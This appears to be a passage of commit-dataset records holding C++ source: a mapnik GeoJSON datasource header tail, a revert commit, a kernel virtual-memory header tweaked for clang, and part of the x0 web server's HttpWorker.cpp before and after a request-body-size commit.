std::pair<box_type,std::size_t>;\n    using spatial_index_type = boost::geometry::index::rtree<item_type,geojson_linear<16,4> >;\n#else\n    using item_type = std::size_t;\n    using spatial_index_type = boost::geometry::index::rtree<box_type,std::size_t>;\n#endif\n\n    \/\/ constructor\n    geojson_datasource(mapnik::parameters const& params);\n    virtual ~geojson_datasource ();\n    mapnik::datasource::datasource_t type() const;\n    static const char * name();\n    mapnik::featureset_ptr features(mapnik::query const& q) const;\n    mapnik::featureset_ptr features_at_point(mapnik::coord2d const& pt, double tol = 0) const;\n    mapnik::box2d<double> envelope() const;\n    mapnik::layer_descriptor get_descriptor() const;\n    boost::optional<mapnik::datasource::geometry_t> get_geometry_type() const;\n    template <typename T>\n    void parse_geojson(T const& buffer);\nprivate:\n    mapnik::datasource::datasource_t type_;\n    mapnik::layer_descriptor desc_;\n    std::string filename_;\n    std::string inline_string_;\n    mapnik::box2d<double> extent_;\n    std::vector<mapnik::feature_ptr> features_;\n    spatial_index_type tree_;\n};\n\n\n#endif \/\/ GEOJSON_DATASOURCE_HPP\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Revert r4259<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"gc.hh\"\n#include \"atomic.hh\"\n#include \"radix.hh\"\n#include \"cpputil.hh\"\n#include \"hwvm.hh\"\n#include \"uwq.hh\"\n#include \"distref.hh\"\n#include \"bit_spinlock.hh\"\n#include \"radix_array.hh\"\n#include \"kalloc.hh\"\n#include \"page_info.hh\"\n\nstruct padded_length;\n\nusing std::atomic;\n\n\/\/ A virtual memory descriptor that maintains metadata for pages in an\n\/\/ address space.  This plays a similar role to the more traditional\n\/\/ \"virtual memory area,\" but this does not know its size (it could\n\/\/ represent a single page or the entire address space).\nstruct vmdesc\n{\n  enum {\n    \/\/ Bit used for radix tree range locking\n    FLAG_LOCK_BIT = 0,\n    FLAG_LOCK = 1<<FLAG_LOCK_BIT,\n\n    \/\/ Set if this virtual page frame has been mapped\n    FLAG_MAPPED = 1<<1,\n\n    \/\/ Set if this virtual page frame is copy-on-write.  A write fault\n    \/\/ to this page frame should copy page and unset the COW bit.  A\n    \/\/ read fault should map the existing page read-only.  This flag\n    \/\/ should be zero if this VPF has no backing page.\n    FLAG_COW = 1<<2,\n\n    \/\/ Set if this page frame maps anonymous memory.  Cleared if this\n    \/\/ page frame maps a file (in which case ip and start are used).\n    FLAG_ANON = 1<<3,\n  };\n\n  \/\/ Flags\n  u64 flags;\n\n  \/\/ The physical page mapped in this frame, or null if no page has\n  \/\/ been allocated for this frame.\n  sref<class page_info> page;\n\n  \/\/ XXX We could pack the following fields into a union if there's\n  \/\/ anything we can overlap with them for anonymous memory.  However,\n  \/\/ then we have to use C++11 unrestricted unions because of the\n  \/\/ sref, so we'd have to define all of vmdesc's special methods\n  \/\/ ourselves.\n\n  \/\/ The file mapped at this page frame.\n  sref<struct inode> inode;\n\n  \/\/ If a file is mapped at this page frame, the virtual address of\n  \/\/ that file's 0 byte.  For anonymous memory, this must be 0.  We\n  \/\/ record this instead of the page frame's offset in the file so\n  \/\/ that a range of page frames mapping a sequence of pages from a\n  \/\/ file will be identical (and hence compressable in the radix\n  \/\/ tree).\n  intptr_t start;\n\n  \/\/ Construct a descriptor for unmapped memory.\n  vmdesc() : flags(0), start(0) { }\n\n  \/\/ Construct a descriptor that maps the beginning of ip's file to\n  \/\/ virtual address start (which may be negative).\n  vmdesc(const sref<struct inode> &ip, intptr_t start)\n    : flags(FLAG_MAPPED), inode(ip), start(start) { }\n\n  \/\/ The anonymous memory descriptor.\n  static struct vmdesc anon_desc;\n\n  \/\/ Radix_array element methods\n\n  bit_spinlock get_lock()\n  {\n    return bit_spinlock(&flags, FLAG_LOCK_BIT);\n  }\n\n  bool is_set() const\n  {\n    return flags & FLAG_MAPPED;\n  }\n\nprivate:\n  constexpr vmdesc(u64 flags)\n    : flags(flags), page(), inode(), start() { }\n};\n\nvoid to_stream(class print_stream *s, const vmdesc &vmd);\n\n\/\/ An address space. This manages the mapping from virtual addresses\n\/\/ to virtual memory descriptors.\nstruct vmap {\n  struct radix vmas;\n\n  static vmap* alloc();\n\n  atomic<u64> ref;\n  char *const kshared;\n\n  void decref();\n  void incref();\n\n  \/\/ Copy this vmap's structure and share pages copy-on-write.\n  vmap* copy(proc_pgmap* pgmap);\n\n  \/\/ Map desc from virtual addresses start to start+len.\n  long insert(const vmdesc &desc, uptr start, uptr len, proc_pgmap* pgmap,\n              bool dotlb = true);\n\n  \/\/ Unmap from virtual addresses start to start+len.\n  int remove(uptr start, uptr len, proc_pgmap* pgmap);\n\n  int pagefault(uptr va, u32 err, proc_pgmap* pgmap);\n\n  \/\/ Map virtual address va in this address space to a kernel virtual\n  \/\/ address, performing the equivalent of a read page fault if\n  \/\/ necessary.  Returns nullptr if va is not mapped.  Needless to\n  \/\/ say, this mapping is only valid within the returned page.\n  void* pagelookup(uptr va);\n\n  \/\/ Copy len bytes from p to user address va in vmap.  Most useful\n  \/\/ when vmap is not the current page table.\n  int copyout(uptr va, void *p, u64 len);\n  int sbrk(ssize_t n, uptr *addr);\n\n  void add_pgmap(proc_pgmap* pgmap);\n  void rem_pgmap(proc_pgmap* pgmap);\n\n  \/\/ Print this vmap to the console\n  void dump();\n\n  uptr brk_;                    \/\/ Top of heap\n\nprivate:\n  vmap();\n  vmap(const vmap&);\n  vmap& operator=(const vmap&);\n  ~vmap();\n  NEW_DELETE_OPS(vmap)\n  uptr unmapped_area(size_t n);\n\n  \/\/ Virtual page frames\n  typedef radix_array<vmdesc, USERTOP \/ PGSIZE, PGSIZE,\n                      kalloc_allocator<vmdesc> > vpf_array;\n  vpf_array vpfs_;\n\n  struct spinlock brklock_;\n\n  enum class access_type\n  {\n    READ, WRITE\n  };\n\n  \/\/ Ensure there is a backing page at @c it.  The caller is\n  \/\/ responsible for ensuring that there is a mapping at @c it and for\n  \/\/ locking vpfs_ at @c it.  This throws bad_alloc if a page must be\n  \/\/ allocated and cannot be.\n  page_info *ensure_page(const vpf_array::iterator &it, access_type type);\n\n  \/\/ XXX(sbw) most likely an awful hash function\n  static u64 proc_pgmap_hash(proc_pgmap* const & p)\n  {\n    return (u64) p;\n  }\n  xns<proc_pgmap*, proc_pgmap*, proc_pgmap_hash> pgmap_list_;\n};\n<commit_msg>vm.hh tweaks for clang compatibility<commit_after>#include \"gc.hh\"\n#include \"atomic.hh\"\n#include \"radix.hh\"\n#include \"cpputil.hh\"\n#include \"hwvm.hh\"\n#include \"uwq.hh\"\n#include \"distref.hh\"\n#include \"bit_spinlock.hh\"\n#include \"radix_array.hh\"\n#include \"kalloc.hh\"\n#include \"page_info.hh\"\n\nstruct padded_length;\n\nusing std::atomic;\n\n\/\/ A virtual memory descriptor that maintains metadata for pages in an\n\/\/ address space.  This plays a similar role to the more traditional\n\/\/ \"virtual memory area,\" but this does not know its size (it could\n\/\/ represent a single page or the entire address space).\nstruct vmdesc\n{\n  enum {\n    \/\/ Bit used for radix tree range locking\n    FLAG_LOCK_BIT = 0,\n    FLAG_LOCK = 1<<FLAG_LOCK_BIT,\n\n    \/\/ Set if this virtual page frame has been mapped\n    FLAG_MAPPED = 1<<1,\n\n    \/\/ Set if this virtual page frame is copy-on-write.  A write fault\n    \/\/ to this page frame should copy page and unset the COW bit.  A\n    \/\/ read fault should map the existing page read-only.  This flag\n    \/\/ should be zero if this VPF has no backing page.\n    FLAG_COW = 1<<2,\n\n    \/\/ Set if this page frame maps anonymous memory.  Cleared if this\n    \/\/ page frame maps a file (in which case ip and start are used).\n    FLAG_ANON = 1<<3,\n  };\n\n  \/\/ Flags\n  u64 flags;\n\n  \/\/ The physical page mapped in this frame, or null if no page has\n  \/\/ been allocated for this frame.\n  sref<class page_info> page;\n\n  \/\/ XXX We could pack the following fields into a union if there's\n  \/\/ anything we can overlap with them for anonymous memory.  However,\n  \/\/ then we have to use C++11 unrestricted unions because of the\n  \/\/ sref, so we'd have to define all of vmdesc's special methods\n  \/\/ ourselves.\n\n  \/\/ The file mapped at this page frame.\n  sref<struct inode> inode;\n\n  \/\/ If a file is mapped at this page frame, the virtual address of\n  \/\/ that file's 0 byte.  For anonymous memory, this must be 0.  We\n  \/\/ record this instead of the page frame's offset in the file so\n  \/\/ that a range of page frames mapping a sequence of pages from a\n  \/\/ file will be identical (and hence compressable in the radix\n  \/\/ tree).\n  intptr_t start;\n\n  \/\/ Construct a descriptor for unmapped memory.\n  vmdesc() : flags(0), start(0) { }\n\n  \/\/ Construct a descriptor that maps the beginning of ip's file to\n  \/\/ virtual address start (which may be negative).\n  vmdesc(const sref<struct inode> &ip, intptr_t start)\n    : flags(FLAG_MAPPED), inode(ip), start(start) { }\n\n  \/\/ The anonymous memory descriptor.\n  static struct vmdesc anon_desc;\n\n  \/\/ Radix_array element methods\n\n  bit_spinlock get_lock()\n  {\n    return bit_spinlock(&flags, FLAG_LOCK_BIT);\n  }\n\n  bool is_set() const\n  {\n    return flags & FLAG_MAPPED;\n  }\n\nprivate:\n  vmdesc(u64 flags)\n    : flags(flags), page(), inode(), start() { }\n};\n\nvoid to_stream(class print_stream *s, const vmdesc &vmd);\n\n\/\/ An address space. This manages the mapping from virtual addresses\n\/\/ to virtual memory descriptors.\nstruct vmap {\n  struct radix vmas;\n\n  static vmap* alloc();\n\n  atomic<u64> ref;\n  char *const kshared;\n\n  void decref();\n  void incref();\n\n  \/\/ Copy this vmap's structure and share pages copy-on-write.\n  vmap* copy(proc_pgmap* pgmap);\n\n  \/\/ Map desc from virtual addresses start to start+len.\n  long insert(const vmdesc &desc, uptr start, uptr len, proc_pgmap* pgmap,\n              bool dotlb = true);\n\n  \/\/ Unmap from virtual addresses start to start+len.\n  int remove(uptr start, uptr len, proc_pgmap* pgmap);\n\n  int pagefault(uptr va, u32 err, proc_pgmap* pgmap);\n\n  \/\/ Map virtual address va in this address space to a kernel virtual\n  \/\/ address, performing the equivalent of a read page fault if\n  \/\/ necessary.  Returns nullptr if va is not mapped.  Needless to\n  \/\/ say, this mapping is only valid within the returned page.\n  void* pagelookup(uptr va);\n\n  \/\/ Copy len bytes from p to user address va in vmap.  Most useful\n  \/\/ when vmap is not the current page table.\n  int copyout(uptr va, void *p, u64 len);\n  int sbrk(ssize_t n, uptr *addr);\n\n  void add_pgmap(proc_pgmap* pgmap);\n  void rem_pgmap(proc_pgmap* pgmap);\n\n  \/\/ Print this vmap to the console\n  void dump();\n\n  uptr brk_;                    \/\/ Top of heap\n\nprivate:\n  vmap();\n  vmap(const vmap&);\n  vmap& operator=(const vmap&);\n  ~vmap();\n  NEW_DELETE_OPS(vmap)\n  uptr unmapped_area(size_t n);\n\n  \/\/ Virtual page frames\n  typedef radix_array<vmdesc, USERTOP \/ PGSIZE, PGSIZE,\n                      kalloc_allocator<vmdesc> > vpf_array;\n  vpf_array vpfs_;\n\n  struct spinlock brklock_;\n\n  enum class access_type\n  {\n    READ, WRITE\n  };\n\n  \/\/ Ensure there is a backing page at @c it.  The caller is\n  \/\/ responsible for ensuring that there is a mapping at @c it and for\n  \/\/ locking vpfs_ at @c it.  This throws bad_alloc if a page must be\n  \/\/ allocated and cannot be.\n  page_info *ensure_page(const vpf_array::iterator &it, access_type type);\n\n  \/\/ XXX(sbw) most likely an awful hash function\n  static u64 proc_pgmap_hash(proc_pgmap* const & p)\n  {\n    return (u64) p;\n  }\n  xns<proc_pgmap*, proc_pgmap*, proc_pgmap_hash> pgmap_list_;\n};\n<|endoftext|>"}
{"text":"<commit_before>\/* <src\/HttpWorker.cpp>\n *\n * This file is part of the x0 web server project and is released under AGPL-3.\n * http:\/\/www.xzero.io\/\n *\n * (c) 2009-2014 Christian Parpart <trapni@gmail.com>\n *\/\n\n#include <x0\/http\/HttpWorker.h>\n#include <x0\/http\/HttpRequest.h>\n#include <x0\/http\/HttpServer.h>\n#include <x0\/http\/HttpConnection.h>\n#include <x0\/ServerSocket.h>\n#include <x0\/DebugLogger.h>\n#include <x0\/sysconfig.h>\n\n#include <algorithm>\n#include <cstdarg>\n#include <ev++.h>\n#include <signal.h>\n#include <pthread.h>\n\n\/\/ XXX one a connection has been passed to a worker, it is *bound* to it.\n\n#if 0\/\/!defined(XZERO_NDEBUG)\n\/\/#\tdefine TRACE(n, msg...) X0_DEBUG(\"worker\", (n), msg)\n#\tdefine TRACE(n, msg...) log(Severity::debug ## n, msg)\n#else\n#\tdefine TRACE(n, msg...) do {} while (0)\n#endif\n\nnamespace x0 {\n\n\/*!\n * Creates an HTTP worker instance.\n *\n * \\param server   the worker parents server instance\n * \\param loop     the event loop to be used within this worker\n * \\param id       unique ID within the server instance\n * \\param threaded whether or not to spawn a thread to actually run this worker\n *\/\nHttpWorker::HttpWorker(HttpServer& server, struct ev_loop *loop, unsigned int id, bool threaded) :\n\tid_(id),\n\tstate_(Inactive),\n\tserver_(server),\n\tloop_(loop),\n\tstartupTime_(ev_now(loop_)),\n\tnow_(),\n\tconnectionLoad_(0),\n\trequestCount_(0),\n\tconnectionCount_(0),\n\tthread_(pthread_self()),\n\tqueue_(),\n\tresumeLock_(),\n\tresumeCondition_(),\n\tperformanceCounter_(),\n\tstopHandler_(),\n\tkillHandler_(),\n\tconnections_(nullptr),\n\tfreeConnections_(nullptr),\n\tevLoopCheck_(loop_),\n\tevNewConnection_(loop_),\n\tevWakeup_(loop_),\n#if !defined(X0_WORKER_POST_LIBEV)\n\tpostLock_(),\n\tpostQueue_(),\n#endif\n\tfileinfo(loop_, &server_.fileinfoConfig_)\n{\n#if !defined(X0_WORKER_POST_LIBEV)\n\tpthread_mutex_init(&postLock_, nullptr);\n#endif\n\n\tevLoopCheck_.set<HttpWorker, &HttpWorker::onLoopCheck>(this);\n\tevLoopCheck_.start();\n\n\tevNewConnection_.set<HttpWorker, &HttpWorker::onNewConnection>(this);\n\tevNewConnection_.start();\n\n\tevWakeup_.set<HttpWorker, &HttpWorker::onWakeup>(this);\n\tevWakeup_.start();\n\n\tpthread_mutex_init(&resumeLock_, nullptr);\n\tpthread_cond_init(&resumeCondition_, nullptr);\n\n\tif (threaded) {\n\t\tpthread_create(&thread_, nullptr, &HttpWorker::_run, this);\n\t}\n\n\tsetName(\"xzero-io\/%d\", id_);\n\n\tTRACE(1, \"spawned\");\n}\n\nHttpWorker::~HttpWorker()\n{\n\tTRACE(1, \"destroying\");\n\n\tclearCustomData();\n\n#if !defined(X0_WORKER_POST_LIBEV)\n\tpthread_mutex_destroy(&postLock_);\n#endif\n\n\tpthread_cond_destroy(&resumeCondition_);\n\tpthread_mutex_destroy(&resumeLock_);\n\n\tevLoopCheck_.stop();\n\tevNewConnection_.stop();\n\tevWakeup_.stop();\n\n\tfreeCache();\n}\n\nvoid* HttpWorker::_run(void* p)\n{\n\treinterpret_cast<HttpWorker*>(p)->run();\n\treturn nullptr;\n}\n\nvoid HttpWorker::run()\n{\n\tstate_ = Running;\n\n\t\/\/ XXX invoke onWorkerSpawned-hook here because we want to ensure this hook is \n\t\/\/ XXX being invoked from *within* the worker-thread.\n\tserver_.onWorkerSpawn(this);\n\n\tTRACE(1, \"enter loop\");\n\tev_loop(loop_, 0);\n\n\twhile (connections_)\n\t\t_kill();\n\n\tserver_.onWorkerUnspawn(this);\n\n\tstate_ = Inactive;\n}\n\n\/*!\n * Sets the thread\/process name that's running this worker.\n *\/\nvoid HttpWorker::setName(const char* fmt, ...)\n{\n\tchar buf[17]; \/\/ the name may be at most 16 bytes long.\n\tva_list va;\n\n\tva_start(va, fmt);\n\tvsnprintf(buf, sizeof(buf), fmt, va);\n\tva_end(va);\n\n#if defined(HAVE_PTHREAD_SETNAME_NP)\n\tpthread_setname_np(thread_, buf);\n#endif\n}\n\nvoid HttpWorker::log(LogMessage&& msg)\n{\n\tmsg.addTag(\"worker\/%u\", id());\n\n\tserver().log(std::forward<LogMessage>(msg));\n}\n\n\/** enqueues\/assigns\/registers given client connection information to this worker.\n *\/\nvoid HttpWorker::enqueue(std::pair<Socket*, ServerSocket*>&& client)\n{\n\tqueue_.enqueue(client);\n\tevNewConnection_.send();\n}\n\n\/** callback to be invoked when new connection(s) have been assigned to this worker.\n *\/\nvoid HttpWorker::onNewConnection(ev::async& \/*w*\/, int \/*revents*\/)\n{\n\tstd::pair<Socket*, ServerSocket*> client;\n\n\twhile (queue_.dequeue(&client)) {\n\t\tspawnConnection(client.first, client.second);\n\t}\n}\n\nvoid HttpWorker::onWakeup(ev::async& w, int revents)\n{\n\tstd::function<void()> fn;\n\n\twhile (true) {\n\t\tpthread_mutex_lock(&postLock_);\n\t\tif (postQueue_.empty())\n\t\t\tgoto out;\n\n\t\tfn = postQueue_.front();\n\t\tpostQueue_.pop_front();\n\t\tpthread_mutex_unlock(&postLock_);\n\n\t\tif (fn) {\n\t\t\tfn();\n\t\t}\n\t}\n\nout:\n\tpthread_mutex_unlock(&postLock_);\n}\n\nvoid HttpWorker::spawnConnection(Socket* client, ServerSocket* listener)\n{\n\tTRACE(1, \"client connected; fd:%d\", client->handle());\n\n\t++connectionLoad_;\n\t++connectionCount_;\n\n\t\/\/ XXX since socket has not been used so far, I might be able to defer its creation out of its socket descriptor\n\t\/\/ XXX so that I do not have to double-initialize libev's loop handles for this socket.\n\tclient->setLoop(loop_);\n\n\tHttpConnection* c;\n\tif (likely(freeConnections_ != nullptr)) {\n\t\tc = freeConnections_;\n\t\tfreeConnections_ = c->next_;\n\n        c->revive(connectionCount_\/*id*\/);\n\t}\n\telse {\n\t\tc = new HttpConnection(this, connectionCount_\/*id*\/);\n\t}\n\n\tif (connections_)\n\t\tconnections_->prev_ = c;\n\n\tc->next_ = connections_;\n\tconnections_ = c;\n\n\tc->start(listener, client);\n}\n\n\/** releases\/unregisters given (and to-be-destroyed) connection from this worker.\n *\n * This decrements the connection-load counter by one.\n *\/\nvoid HttpWorker::release(HttpConnection* c)\n{\n\t\/\/    \/--<--\\   \/--<--\\   \/--<--\\\n\t\/\/ NULL     item1     item2     item3     NULL\n\t\/\/              \\-->--\/   \\-->--\/   \\-->--\/\n\n\t--connectionLoad_;\n\n\t\/\/ unlink from active-list\n\tHttpConnection* prev = c->prev_;\n\tHttpConnection* next = c->next_;\n\n\tif (prev)\n\t\tprev->next_ = next;\n\n\tif (next)\n\t\tnext->prev_ = prev;\n\n\tif (c == connections_)\n\t\tconnections_ = next;\n\n\t\/\/ link into free-list\n\tc->next_ = freeConnections_;\n\tc->prev_ = nullptr;\t\t\t\t\t\/\/ not needed\n\tif (freeConnections_ && freeConnections_->prev_)\n\t\tfreeConnections_->prev_ = c;\t\/\/ not needed\n\tfreeConnections_ = c;\n}\n\n\/**\n * Clear some cached objects to free up memory.\n *\/\nvoid HttpWorker::freeCache()\n{\n\tsize_t i = 0;\n\twhile (freeConnections_) {\n\t\tauto next = freeConnections_->next_;\n\t\tdelete freeConnections_;\n\t\tfreeConnections_ = next;\n\t\t++i;\n\t}\n\tTRACE(1, \"cleared %zu free-connections items\", i);\n}\n\nvoid HttpWorker::handleRequest(HttpRequest *r)\n{\n\t++requestCount_;\n\tperformanceCounter_.touch(now_.value());\n\n\tBufferRef expectHeader = r->requestHeader(\"Expect\");\n\tbool contentRequired = r->method == \"POST\" || r->method == \"PUT\";\n\n\tif (contentRequired) {\n\t\tif (r->connection.contentLength() == -1 && !r->connection.isChunked()) {\n\t\t\tr->status = HttpStatus::LengthRequired;\n\t\t\tr->finish();\n\t\t\treturn;\n\t\t}\n\t} else {\n\t\tif (r->contentAvailable()) {\n\t\t\tr->status = HttpStatus::BadRequest; \/\/ FIXME do we have a better status code?\n\t\t\tr->finish();\n\t\t\treturn;\n\t\t}\n\t}\n\n\tif (expectHeader) {\n\t\tr->expectingContinue = equals(expectHeader, \"100-continue\");\n\n\t\tif (!r->expectingContinue || !r->supportsProtocol(1, 1)) {\n\t\t\tr->status = HttpStatus::ExpectationFailed;\n\t\t\tr->finish();\n\t\t\treturn;\n\t\t}\n\t}\n\n\tserver_.onPreProcess(r);\n\n\tif (!server_.requestHandler(r))\n\t\tr->finish();\n}\n\nvoid HttpWorker::_stop()\n{\n\tTRACE(1, \"_stop\");\n\n\tevLoopCheck_.stop();\n\tevNewConnection_.stop();\n\tevWakeup_.stop();\n\n\tfor (auto handler: stopHandler_)\n\t\thandler();\n}\n\nvoid HttpWorker::onLoopCheck(ev::check& \/*w*\/, int \/*revents*\/)\n{\n\t\/\/ update server time\n\tnow_.update(ev_now(loop_));\n}\n\nvoid HttpWorker::setAffinity(int cpu)\n{\n#ifdef HAVE_PTHREAD_SETAFFINITY_NP\n\tcpu_set_t set;\n\n\tCPU_ZERO(&set);\n\tCPU_SET(cpu, &set);\n\n\tTRACE(1, \"setAffinity: %d\", cpu);\n\n\tint rv = pthread_setaffinity_np(thread_, sizeof(set), &set);\n\tif (rv < 0) {\n\t\tlog(Severity::error, \"setting scheduler affinity on CPU %d failed for worker %u. %s\", cpu, id_, strerror(errno));\n\t}\n#else\n\tlog(Severity::error, \"setting scheduler affinity on CPU %d failed for worker %u. %s\", cpu, id_, strerror(ENOTSUP));\n#endif\n}\n\nvoid HttpWorker::bind(ServerSocket* s)\n{\n\ts->set<HttpWorker, &HttpWorker::spawnConnection>(this);\n}\n\n\/** suspend the execution of the worker thread until resume() is invoked.\n *\n * \\note has no effect on main worker\n * \\see resume()\n *\/\nvoid HttpWorker::suspend()\n{\n\tTRACE(1, \"suspend\");\n\n\tif (id_ != 0)\n\t\tpost<HttpWorker, &HttpWorker::_suspend>(this);\n}\n\nvoid HttpWorker::_suspend()\n{\n\tTRACE(1, \"_suspend\");\n\tpthread_mutex_lock(&resumeLock_);\n\tstate_ = Suspended;\n\tpthread_cond_wait(&resumeCondition_, &resumeLock_);\n\tstate_ = Running;\n\tpthread_mutex_unlock(&resumeLock_);\n}\n\n\/** resumes the previousely suspended worker thread.\n *\n * \\note has no effect on main worker\n * \\see suspend()\n *\/\nvoid HttpWorker::resume()\n{\n\tTRACE(1, \"resume\");\n\tif (id_ != 0)\n\t\tpthread_cond_signal(&resumeCondition_);\n}\n\nvoid HttpWorker::stop()\n{\n\tTRACE(1, \"stop: post -> _stop() (while in state: %d)\", state_);\n\n\tif (state_ != Running)\n\t\treturn;\n\n\/\/\tfileinfo.stop();\n\n\tpost<HttpWorker, &HttpWorker::_stop>(this);\n}\n\nvoid HttpWorker::join()\n{\n\tif (thread_ != pthread_self()) {\n\t\tpthread_join(thread_, nullptr);\n\t}\n}\n\n\/*! Actually aborts all active connections.\n *\n * \\see HttpConnection::abort()\n *\/\nvoid HttpWorker::kill()\n{\n\tTRACE(1, \"kill: post -> _kill()\");\n\tpost<HttpWorker, &HttpWorker::_kill>(this);\n}\n\n\/*! Actually aborts all active connections.\n *\n * \\note Must be invoked from within the worker's thread.\n *\n * \\see HttpConnection::abort()\n *\/\nvoid HttpWorker::_kill()\n{\n\tTRACE(1, \"_kill()\");\n\twhile (connections_) {\n\t\tstd::list<HttpConnection*> copy;\n\n\t\tfor (HttpConnection* c = connections_; c != nullptr; c = c->next_)\n\t\t\tcopy.push_back(c);\n\n\t\tfor (auto c: copy)\n\t\t\tc->abort();\n\n#ifndef XZERO_NDEBUG\n\t\tfor (HttpConnection* c = connections_; c != nullptr; c = c->next_)\n\t\t\tc->log(Severity::debug, \"connection still open\");\n#endif\n\t}\n\n\tfor (auto handler: killHandler_) {\n\t\tTRACE(1, \"_kill: invoke kill handler\");\n\t\thandler();\n\t}\n}\n\nstd::list<std::function<void()>>::iterator HttpWorker::registerStopHandler(std::function<void()> callback)\n{\n\tstopHandler_.push_front(callback);\n\treturn stopHandler_.begin();\n}\n\nvoid HttpWorker::unregisterStopHandler(std::list<std::function<void()>>::iterator handle)\n{\n\tstopHandler_.erase(handle);\n}\n\nstd::list<std::function<void()>>::iterator HttpWorker::registerKillHandler(std::function<void()> callback)\n{\n\tkillHandler_.push_front(callback);\n\treturn killHandler_.begin();\n}\n\nvoid HttpWorker::unregisterKillHandler(std::list<std::function<void()>>::iterator handle)\n{\n\tkillHandler_.erase(handle);\n}\n\nvoid HttpWorker::post_thunk3(int revents, void* arg)\n{\n\tstd::function<void()>* callback = static_cast<std::function<void()>*>(arg);\n\t(*callback)();\n\tdelete callback;\n}\n\n} \/\/ namespace x0\n<commit_msg>http: respect max_request_body_size cvar<commit_after>\/* <src\/HttpWorker.cpp>\n *\n * This file is part of the x0 web server project and is released under AGPL-3.\n * http:\/\/www.xzero.io\/\n *\n * (c) 2009-2014 Christian Parpart <trapni@gmail.com>\n *\/\n\n#include <x0\/http\/HttpWorker.h>\n#include <x0\/http\/HttpRequest.h>\n#include <x0\/http\/HttpServer.h>\n#include <x0\/http\/HttpConnection.h>\n#include <x0\/ServerSocket.h>\n#include <x0\/DebugLogger.h>\n#include <x0\/sysconfig.h>\n\n#include <algorithm>\n#include <cstdarg>\n#include <ev++.h>\n#include <signal.h>\n#include <pthread.h>\n\n\/\/ XXX one a connection has been passed to a worker, it is *bound* to it.\n\n#if 0\/\/!defined(XZERO_NDEBUG)\n\/\/#\tdefine TRACE(n, msg...) X0_DEBUG(\"worker\", (n), msg)\n#\tdefine TRACE(n, msg...) log(Severity::debug ## n, msg)\n#else\n#\tdefine TRACE(n, msg...) do {} while (0)\n#endif\n\nnamespace x0 {\n\n\/*!\n * Creates an HTTP worker instance.\n *\n * \\param server   the worker parents server instance\n * \\param loop     the event loop to be used within this worker\n * \\param id       unique ID within the server instance\n * \\param threaded whether or not to spawn a thread to actually run this worker\n *\/\nHttpWorker::HttpWorker(HttpServer& server, struct ev_loop *loop, unsigned int id, bool threaded) :\n\tid_(id),\n\tstate_(Inactive),\n\tserver_(server),\n\tloop_(loop),\n\tstartupTime_(ev_now(loop_)),\n\tnow_(),\n\tconnectionLoad_(0),\n\trequestCount_(0),\n\tconnectionCount_(0),\n\tthread_(pthread_self()),\n\tqueue_(),\n\tresumeLock_(),\n\tresumeCondition_(),\n\tperformanceCounter_(),\n\tstopHandler_(),\n\tkillHandler_(),\n\tconnections_(nullptr),\n\tfreeConnections_(nullptr),\n\tevLoopCheck_(loop_),\n\tevNewConnection_(loop_),\n\tevWakeup_(loop_),\n#if !defined(X0_WORKER_POST_LIBEV)\n\tpostLock_(),\n\tpostQueue_(),\n#endif\n\tfileinfo(loop_, &server_.fileinfoConfig_)\n{\n#if !defined(X0_WORKER_POST_LIBEV)\n\tpthread_mutex_init(&postLock_, nullptr);\n#endif\n\n\tevLoopCheck_.set<HttpWorker, &HttpWorker::onLoopCheck>(this);\n\tevLoopCheck_.start();\n\n\tevNewConnection_.set<HttpWorker, &HttpWorker::onNewConnection>(this);\n\tevNewConnection_.start();\n\n\tevWakeup_.set<HttpWorker, &HttpWorker::onWakeup>(this);\n\tevWakeup_.start();\n\n\tpthread_mutex_init(&resumeLock_, nullptr);\n\tpthread_cond_init(&resumeCondition_, nullptr);\n\n\tif (threaded) {\n\t\tpthread_create(&thread_, nullptr, &HttpWorker::_run, this);\n\t}\n\n\tsetName(\"xzero-io\/%d\", id_);\n\n\tTRACE(1, \"spawned\");\n}\n\nHttpWorker::~HttpWorker()\n{\n\tTRACE(1, \"destroying\");\n\n\tclearCustomData();\n\n#if !defined(X0_WORKER_POST_LIBEV)\n\tpthread_mutex_destroy(&postLock_);\n#endif\n\n\tpthread_cond_destroy(&resumeCondition_);\n\tpthread_mutex_destroy(&resumeLock_);\n\n\tevLoopCheck_.stop();\n\tevNewConnection_.stop();\n\tevWakeup_.stop();\n\n\tfreeCache();\n}\n\nvoid* HttpWorker::_run(void* p)\n{\n\treinterpret_cast<HttpWorker*>(p)->run();\n\treturn nullptr;\n}\n\nvoid HttpWorker::run()\n{\n\tstate_ = Running;\n\n\t\/\/ XXX invoke onWorkerSpawned-hook here because we want to ensure this hook is \n\t\/\/ XXX being invoked from *within* the worker-thread.\n\tserver_.onWorkerSpawn(this);\n\n\tTRACE(1, \"enter loop\");\n\tev_loop(loop_, 0);\n\n\twhile (connections_)\n\t\t_kill();\n\n\tserver_.onWorkerUnspawn(this);\n\n\tstate_ = Inactive;\n}\n\n\/*!\n * Sets the thread\/process name that's running this worker.\n *\/\nvoid HttpWorker::setName(const char* fmt, ...)\n{\n\tchar buf[17]; \/\/ the name may be at most 16 bytes long.\n\tva_list va;\n\n\tva_start(va, fmt);\n\tvsnprintf(buf, sizeof(buf), fmt, va);\n\tva_end(va);\n\n#if defined(HAVE_PTHREAD_SETNAME_NP)\n\tpthread_setname_np(thread_, buf);\n#endif\n}\n\nvoid HttpWorker::log(LogMessage&& msg)\n{\n\tmsg.addTag(\"worker\/%u\", id());\n\n\tserver().log(std::forward<LogMessage>(msg));\n}\n\n\/** enqueues\/assigns\/registers given client connection information to this worker.\n *\/\nvoid HttpWorker::enqueue(std::pair<Socket*, ServerSocket*>&& client)\n{\n\tqueue_.enqueue(client);\n\tevNewConnection_.send();\n}\n\n\/** callback to be invoked when new connection(s) have been assigned to this worker.\n *\/\nvoid HttpWorker::onNewConnection(ev::async& \/*w*\/, int \/*revents*\/)\n{\n\tstd::pair<Socket*, ServerSocket*> client;\n\n\twhile (queue_.dequeue(&client)) {\n\t\tspawnConnection(client.first, client.second);\n\t}\n}\n\nvoid HttpWorker::onWakeup(ev::async& w, int revents)\n{\n\tstd::function<void()> fn;\n\n\twhile (true) {\n\t\tpthread_mutex_lock(&postLock_);\n\t\tif (postQueue_.empty())\n\t\t\tgoto out;\n\n\t\tfn = postQueue_.front();\n\t\tpostQueue_.pop_front();\n\t\tpthread_mutex_unlock(&postLock_);\n\n\t\tif (fn) {\n\t\t\tfn();\n\t\t}\n\t}\n\nout:\n\tpthread_mutex_unlock(&postLock_);\n}\n\nvoid HttpWorker::spawnConnection(Socket* client, ServerSocket* 